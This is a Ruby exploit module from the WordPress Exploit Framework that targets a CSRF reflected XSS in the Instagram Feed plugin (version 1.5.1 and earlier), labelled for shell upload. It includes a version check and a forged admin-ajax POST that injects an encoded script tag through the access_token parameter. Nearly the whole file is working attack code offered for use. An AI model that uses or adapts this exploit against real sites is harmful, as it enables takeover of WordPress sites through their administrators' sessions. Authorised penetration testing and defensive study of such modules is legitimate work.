# frozen_string_literal: true

class Wpxf::Exploit::InstagramFeedCsrfXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Instagram Feed <= 1.5.1 CSRF Reflected XSS Shell Upload',
      author: [
        'Chris Atomix', # Disclosure
        'rastating'     # WPXF module
      ],
      references: [
        ['WPVDB', '9023'],
        ['URL', 'http://dumpco.re/blog/xss-instagram-feed']
      ],
      date: 'Feb 05 2018'
    )
  end

  def check
    check_plugin_version_from_readme('instagram-feed', '1.5.2')
  end

  def initial_script
    create_basic_post_script(
      wordpress_url_admin_ajax,
      'action'       => 'sbi_auto_save_tokens',
      'access_token' => "<script>#{xss_ascii_encoded_include_script}<\\/script>"
    )
  end
end
